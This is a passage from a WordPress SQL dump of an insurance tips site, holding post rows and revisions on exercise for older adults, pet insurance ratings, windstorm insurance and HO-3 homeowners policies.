we want to scale Mount Everest. Never weight trained? We may not be suitably placed to pick up a challenging new powerlifting routine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite this, though, it’s always fun to test out a different style of physical activity – within reason of course. Try a dance class, or perhaps low-impact yoga, or even reformer pilates. You’re never too old to get fit or to implement better routines to care for your health. If you do, your aging body will thank you for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EXERCISE – AN ESSENTIAL: THE OBSERVABLE IMPACT OF MOVEMENT ON OLDER ADULTS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Exercising regularly as an adult has a multitude of benefits. But regular exercise is not only helpful to maintain your physical fitness. Research has shown that it can also help keep your brain active. So – an important question – can physical exercise reduce the risk of dementia in senior citizens? Both debilitating and devastating, the crippling effects of dementia are distressing to watch unfold. So if we can find a way to avoid it developing in the first place – or at least, stave it off from happening at a less advanced age – why wouldn’t we follow through? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed, mature adults engaging in regular physical activity have been found to decrease their risk of developing the disease by as much as 25%. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this isn’t enough of a case for incorporating movement into our lives as we get older, we don’t know what is. If the answer is as simple as moving our bodies more frequently, it’s a no-brainer. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','Healthy Habits: How to Effectively Adapt Your Exercise Routine As You Age','','inherit','closed','closed','','4070-revision-v1','','','2024-05-20 03:33:00','2024-05-20 03:33:00','',4070,'https://smartinsurance.tips/?p=4072',0,'revision','',0),(4073,1,'2024-05-20 03:36:02','2024-05-20 03:36:02','<!-- wp:paragraph -->\n<p>Consumer Reports’ first-ever ratings of pet insurers can help you decide whether buying coverage makes financial sense, or can provide peace of mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4147,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-4147\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>When asked if I’m a cat or a dog person, my answer is yes. We’ve got one of each at my house: Logo, who’s been our good boy for two years now, and Phoebe, who arrived at the door as a stray kitten three years ago. They are both happy, healthy, and uninsured.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For us, pet insurance has long been on the maybe-we-should-look-into-it list, along with getting faster internet or lower-interest-rate credit cards. But our lassitude was called into question early one evening when Phoebe showed up at the back door disoriented, limping, and with a nickel-sized bald spot on her left hind quarter. I was concerned about Phoebe, but also worried things were about to get expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Turns out most of the roughly 65 million U.S. households with a dog and 46 million with a cat don’t insure them, either; just 4.8 million cats and dogs are insured in this country. In a first-ever evaluation for Consumer Reports, we rated eight pet insurance providers—ASPCA, Banfield, Embrace, Fetch, Healthy Paws, Nationwide Pet Insurance, Pets Best, and Trupanion—based on a survey of 2,061 CR members with insured pets, looking at things such as how much the premium cost, the claims process, and whether people had choice in which vets to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.consumerreports.org/money/pet-insurance/is-pet-insurance-worth-it-a8622180631/#pet-insurance-details\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Pet Insurance Worth It?','','publish','closed','closed','','is-pet-insurance-worth-it','','','2024-06-08 00:25:46','2024-06-08 00:25:46','',0,'https://smartinsurance.tips/?p=4073',0,'post','',0),(4074,1,'2024-05-20 03:34:51','2024-05-20 03:34:51','','Untitled-14','','inherit','closed','closed','','untitled-14-5','','','2024-05-20 03:34:51','2024-05-20 03:34:51','',4073,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-14.png',0,'attachment','image/png',0),(4075,1,'2024-05-20 03:36:02','2024-05-20 03:36:02','<!-- wp:paragraph -->\n<p>Consumer Reports’ first-ever ratings of pet insurers can help you decide whether buying coverage makes financial sense, or can provide peace of mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4074,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-4074\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>When asked if I’m a cat or a dog person, my answer is yes. We’ve got one of each at my house: Logo, who’s been our good boy for two years now, and Phoebe, who arrived at the door as a stray kitten three years ago. They are both happy, healthy, and uninsured.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For us, pet insurance has long been on the maybe-we-should-look-into-it list, along with getting faster internet or lower-interest-rate credit cards. But our lassitude was called into question early one evening when Phoebe showed up at the back door disoriented, limping, and with a nickel-sized bald spot on her left hind quarter. I was concerned about Phoebe, but also worried things were about to get expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Turns out most of the roughly 65 million U.S. households with a dog and 46 million with a cat don’t insure them, either; just 4.8 million cats and dogs are insured in this country. In a first-ever evaluation for Consumer Reports, we rated eight pet insurance providers—ASPCA, Banfield, Embrace, Fetch, Healthy Paws, Nationwide Pet Insurance, Pets Best, and Trupanion—based on a survey of 2,061 CR members with insured pets, looking at things such as how much the premium cost, the claims process, and whether people had choice in which vets to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/pet-insurance/is-pet-insurance-worth-it-a8622180631/#pet-insurance-details\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Pet Insurance Worth It?','','inherit','closed','closed','','4073-revision-v1','','','2024-05-20 03:36:02','2024-05-20 03:36:02','',4073,'https://smartinsurance.tips/?p=4075',0,'revision','',0),(4076,1,'2024-05-20 03:39:19','2024-05-20 03:39:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4149,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-4149\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Windstorm insurance</strong>&nbsp;is usually an add-on policy for homeowners insurance. It provides protection if a wind event such as a hurricane or tornado damages your home or personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Depending on where you live, damage from wind and hail might be excluded from your standard homeowner insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If this damage is excluded from your policy, you need to purchase an add-on policy to ensure your home is covered from damages of a wind event.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance doesn’t cover storm-surge damages, and it may or may not cover flooding caused by wind damage. If you’re at risk for these perils, you may need a flood policy as well.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance deductibles are typically a percentage of your home’s total insured value.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">How Does Windstorm Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Windstorm insurance is a supplemental policy you can add to your existing&nbsp;homeowners insurance. Also sometimes known as&nbsp;hurricane insurance, this type of policy helps cover you if a severe windstorm, hailstorm, or hurricane damages your home.&nbsp;It’s typically required by mortgage lenders as a condition of the loan for property owners who live in certain locations, such as along the U.S. Gulf Coast or in specific coastal states.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Basic homeowners insurance policies don’t&nbsp;cover every type of peril&nbsp;or natural disaster. Depending on where you live, you may need to purchase additional insurance for hurricanes, windstorms, and&nbsp;floods. You can also opt to purchase additional coverage for&nbsp;earthquakes, although it isn’t legally required.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Windstorm insurance covers damage from wind events. If your home is damaged by an included peril, you start the process of reimbursement by filing a claim with your insurance policy. Before you file the claim, take video and photographic evidence of the damage. You also need to include proof of the storm, so gather any official news sources that verify the information. There may be a time limit for claims, so be sure you file a claim quickly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Typically, windstorm insurance policies include both wind and hurricane deductibles. Others offer a named-storm deductible as well. The type of deductible you pay depends on the variety of storm that caused damage to your home. For instance, hurricane deductibles typically apply to damage from a named storm. Your&nbsp;insurance agent&nbsp;can help you navigate the differences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Regardless of the storm type, it’s important to note that windstorm insurance deductibles are typically calculated based on a percentage of your home’s total insured value. You usually get to select a percentage between 1% to 10% for your deductible, although your insurance company may have different procedures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Example of Windstorm Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Here’s an example: You elect to have a 2% deductible and your home is insured for $250,000. Your deductible would be $5,000. So if a hurricane caused $30,000 worth of damage to your home and the items inside, your check from your insurance company would be the approved amount minus your deductible, or $25,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, the higher your deductible, the lower your premium will be. Selecting a higher deductible can help you save money. However, this means you will have more out-of-pocket expenses if your home is damaged.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">What Does Windstorm Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Windstorm insurance policies cover the inside and outside of your home if it’s damaged by severe wind events. This includes your personal belongings, your home’s physical structure (roof, windows, walls, etc.), and other buildings on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">However, it does not cover damage related to floods and storm surges. In an intense wind event, such as a hurricane, both wind and water damage may occur. Windstorm insurance would only cover water damage in your home that occurred as a direct result of the wind damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What Windstorm Insurance Doesn\'t Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Windstorm insurance may not cover flooding or storm surges from a wind event, it might make sense for you to purchase a flood policy as well.<sup>1</sup>&nbsp;In fact, if you live in an area that’s prone to both windstorms and flooding, your lender may require you to purchase both types of insurance policies. That way, your home is protected from more natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Let’s say you live along the Florida coast, where you’re required to have windstorm insurance. A hurricane comes through, taking the roof off your house. The rain that comes in causes a lot of damage to your second floor. The storm also causes a surge of water to rush into your home, flooding the basement and main floor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Your windstorm insurance would cover the physical damage to your home. Your insurer may also cover the things on the second story damaged by the rain that came in after the roof was blown off. Check your policy to be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">However, because the storm surge wasn’t directly caused by wind damage to your home, the flood damage in your basement and main floor wouldn\'t be covered unless you had a separate flood policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Do You Need Windstorm Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Those in low-risk areas are likely to have windstorm insurance included as part of their standard homeowners insurance. But residents in coastal cities and other high-risk zones may need to purchase a separate policy if they want protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a major storm is on the way, you may not be able to buy windstorm insurance until after it passes. There may also be a waiting period for adding this coverage to your homeowners policy. To ensure you’re protected, buy this policy well before storm season arrives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">You also may be required to have windstorm insurance by your&nbsp;mortgage lender&nbsp;as a condition of your loan. Even if you aren’t required, it’s a wise investment if you live in an area prone to windstorms, hurricanes, tornadoes, or other wind-related disasters. You can speak to your insurance agent to see if this coverage is right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does windstorm insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Windstorm insurance covers damage to your property caused by a wind events such as tornadoes or hurricanes. The coverage may include damage to the exterior or your property, surrounding structures as well as your personal belongings.&nbsp;Windstorm insurance is a supplemental policy that can protect your home if you live in an area that is prone to major wind events, and may be required by lenders in certain areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.thebalancemoney.com/what-is-windstorm-insurance-5197016\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Windstorm Insurance?','','publish','closed','closed','','what-is-windstorm-insurance','','','2024-06-08 00:26:44','2024-06-08 00:26:44','',0,'https://smartinsurance.tips/?p=4076',0,'post','',0),(4077,1,'2024-05-20 03:37:10','2024-05-20 03:37:10','','Untitled-15','','inherit','closed','closed','','untitled-15-5','','','2024-05-20 03:37:10','2024-05-20 03:37:10','',4076,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-15.png',0,'attachment','image/png',0),(4078,1,'2024-05-20 03:39:19','2024-05-20 03:39:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4077,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-4077\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Windstorm insurance</strong>&nbsp;is usually an add-on policy for homeowners insurance. It provides protection if a wind event such as a hurricane or tornado damages your home or personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Depending on where you live, damage from wind and hail might be excluded from your standard homeowner insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If this damage is excluded from your policy, you need to purchase an add-on policy to ensure your home is covered from damages of a wind event.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance doesn’t cover storm-surge damages, and it may or may not cover flooding caused by wind damage. If you’re at risk for these perils, you may need a flood policy as well.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm insurance deductibles are typically a percentage of your home’s total insured value.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">How Does Windstorm Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Windstorm insurance is a supplemental policy you can add to your existing homeowners insurance. Also sometimes known as hurricane insurance, this type of policy helps cover you if a severe windstorm, hailstorm, or hurricane damages your home. It’s typically required by mortgage lenders as a condition of the loan for property owners who live in certain locations, such as along the U.S. Gulf Coast or in specific coastal states.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Basic homeowners insurance policies don’t cover every type of peril or natural disaster. Depending on where you live, you may need to purchase additional insurance for hurricanes, windstorms, and floods. You can also opt to purchase additional coverage for earthquakes, although it isn’t legally required.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">Windstorm insurance covers damage from wind events. If your home is damaged by an included peril, you start the process of reimbursement by filing a claim with your insurance policy. Before you file the claim, take video and photographic evidence of the damage. You also need to include proof of the storm, so gather any official news sources that verify the information. There may be a time limit for claims, so be sure you file a claim quickly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Typically, windstorm insurance policies include both wind and hurricane deductibles. Others offer a named-storm deductible as well. The type of deductible you pay depends on the variety of storm that caused damage to your home. For instance, hurricane deductibles typically apply to damage from a named storm. Your insurance agent can help you navigate the differences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Regardless of the storm type, it’s important to note that windstorm insurance deductibles are typically calculated based on a percentage of your home’s total insured value. You usually get to select a percentage between 1% to 10% for your deductible, although your insurance company may have different procedures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">Example of Windstorm Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Here’s an example: You elect to have a 2% deductible and your home is insured for $250,000. Your deductible would be $5,000. So if a hurricane caused $30,000 worth of damage to your home and the items inside, your check from your insurance company would be the approved amount minus your deductible, or $25,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, the higher your deductible, the lower your premium will be. Selecting a higher deductible can help you save money. However, this means you will have more out-of-pocket expenses if your home is damaged.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">What Does Windstorm Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Windstorm insurance policies cover the inside and outside of your home if it’s damaged by severe wind events. This includes your personal belongings, your home’s physical structure (roof, windows, walls, etc.), and other buildings on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">However, it does not cover damage related to floods and storm surges. In an intense wind event, such as a hurricane, both wind and water damage may occur. Windstorm insurance would only cover water damage in your home that occurred as a direct result of the wind damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-20\">What Windstorm Insurance Doesn\'t Cover</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">Windstorm insurance may not cover flooding or storm surges from a wind event, it might make sense for you to purchase a flood policy as well.<sup>1</sup>&nbsp;In fact, if you live in an area that’s prone to both windstorms and flooding, your lender may require you to purchase both types of insurance policies. That way, your home is protected from more natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Let’s say you live along the Florida coast, where you’re required to have windstorm insurance. A hurricane comes through, taking the roof off your house. The rain that comes in causes a lot of damage to your second floor. The storm also causes a surge of water to rush into your home, flooding the basement and main floor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Your windstorm insurance would cover the physical damage to your home. Your insurer may also cover the things on the second story damaged by the rain that came in after the roof was blown off. Check your policy to be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">However, because the storm surge wasn’t directly caused by wind damage to your home, the flood damage in your basement and main floor wouldn\'t be covered unless you had a separate flood policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Do You Need Windstorm Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Those in low-risk areas are likely to have windstorm insurance included as part of their standard homeowners insurance. But residents in coastal cities and other high-risk zones may need to purchase a separate policy if they want protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a major storm is on the way, you may not be able to buy windstorm insurance until after it passes. There may also be a waiting period for adding this coverage to your homeowners policy. To ensure you’re protected, buy this policy well before storm season arrives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">You also may be required to have windstorm insurance by your mortgage lender as a condition of your loan. Even if you aren’t required, it’s a wise investment if you live in an area prone to windstorms, hurricanes, tornadoes, or other wind-related disasters. You can speak to your insurance agent to see if this coverage is right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does windstorm insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Windstorm insurance covers damage to your property caused by a wind events such as tornadoes or hurricanes. The coverage may include damage to the exterior or your property, surrounding structures as well as your personal belongings. Windstorm insurance is a supplemental policy that can protect your home if you live in an area that is prone to major wind events, and may be required by lenders in certain areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-windstorm-insurance-5197016\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Windstorm Insurance?','','inherit','closed','closed','','4076-revision-v1','','','2024-05-20 03:39:19','2024-05-20 03:39:19','',4076,'https://smartinsurance.tips/?p=4078',0,'revision','',0),(4079,1,'2024-05-20 04:19:55','2024-05-20 04:19:55','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4151,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-4151\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">An HO-3 homeowners insurance policy is the most common type of homeowners insurance, covering all causes of damage to the main dwelling and other structures except those specifically excluded in the policy, such as floods and earthquakes. Other homeowners insurance policies are typically a variation of an HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Learn more about HO-3 homeowners insurance policies, how they work, and how they differ from other homeowners insurance forms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Definition and Examples of an HO-3 Homeowners Insurance Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">All perils, or&nbsp;causes of loss, are covered for damage to your home and other structures, except those that are specifically named on the policy as exclusions. Exclusions might include earthquakes, floods, wear and tear, neglect, and damage caused by freezing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Special Form Policy</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Coverage for your home and other structures is written on an “all-risk basis” ( everything except named exclusions is covered). Personal property, or the contents of your home, is covered on a “named-peril basis” (only damages from perils named are covered).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How an HO-3 Homeowners Insurance Policy Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurance polices are designed to cover damage to property if the loss was caused by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Homeowners insurance policies vary according to the types of property and the number of perils they cover. Policies are typically considered \"open-perils,\" which covers all causes of loss unless excluded, or \"named-perils,\" which covers only specified sources of loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">A common type of&nbsp;homeowners insurance&nbsp;is one that combines attributes of both types—the special form, or HO-3, homeowners insurance policy. An HO-3 homeowners insurance policy, like other homeowners policies, has two parts: Section I (coverages A, B, C, and D) for your property and Section II (coverages E and F) for liabilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Here’s a description of each individual coverage and the general limits most insurers will provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Coverage A: Your Dwelling</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Dwelling coverage pays for damage to your house and any structures attached to it, including plumbing fixtures, electrical wiring, and HVAC systems. Damage must be a result of a covered peril. The limit of your dwelling coverage should be at least 80% or equal to your home’s full replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Property damage&nbsp;to your dwelling and any other structures at your residence, is covered on an open-perils basis. An insurer will reimburse you for losses to your property except those as a result of perils specifically excluded in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Coverage B: Other Structures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Coverage B pays for damage to structures on your property that are not attached to your house. Covered structures include free-standing garages, sheds, fences, and guest cottages among others. Insurers limit this coverage to 10% of your dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Coverage C: Personal Property</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">This coverage reimburses you for the value of the contents of your home, possessions owned by you and people who live with you. Coverage may also include items lost or damaged outside your premises.&nbsp;The coverage limit&nbsp;is usually 50% of your dwelling coverage or any amount agreed on between you and your insurer. Coverage may not include some types of high-value items, also known as scheduled personal property. In an HO-3 policy, coverage for personal property is limited to named perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The contents of your home are covered on a named-peril basis. These perils are listed in the broad form HO-2, which is an HO-2 insurance policy. They include damage from lightning, fire, and theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Coverage D: 